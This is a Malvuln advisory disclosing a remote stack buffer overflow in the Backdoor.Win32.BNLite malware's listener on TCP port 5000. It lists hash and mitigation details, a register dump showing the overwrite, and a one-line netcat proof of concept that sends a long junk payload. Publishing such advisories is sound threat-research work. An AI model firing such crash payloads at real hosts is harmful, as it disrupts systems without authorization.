Backdoor.Win32.BNLite Buffer Overflow

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/0d1f873f6816debd244e1e77509f6ba7.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BNLite  
Vulnerability: Remote Stack Buffer Overflow  
Description: BioNet Lite Server 4.0a listens on TCP port 5000. Third-party attackers who can reach an infected system can trigger a buffer overflow overwriting the ECX, EDX and AX (16-bit) registers by sending a long junk payload.  
Family: BNLite  
Type: PE32  
MD5: 0d1f873f6816debd244e1e77509f6ba7  
Vuln ID: MVID-2022-0502  
Dropped files: procmon.exe  
ASLR: False  
DEP: False  
CFG: False  
Safe SEH: False  
Disclosure: 03/03/2022  
  
Memory Dump:  
EAX : 00004141  
EBX : 027BD120  
ECX : 41414141  
EDX : 41414141  
EBP : 0019FC08  
ESP : 0019FA48  
ESI : 027BD128  
EDI : 02780000  
EIP : 776E2D6A ntdll.776E2D6A  
  
  
Exploit/PoC:  
C:\>python -c "print('A'*10000)" | nc64.exe x.x.x.x 5000  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`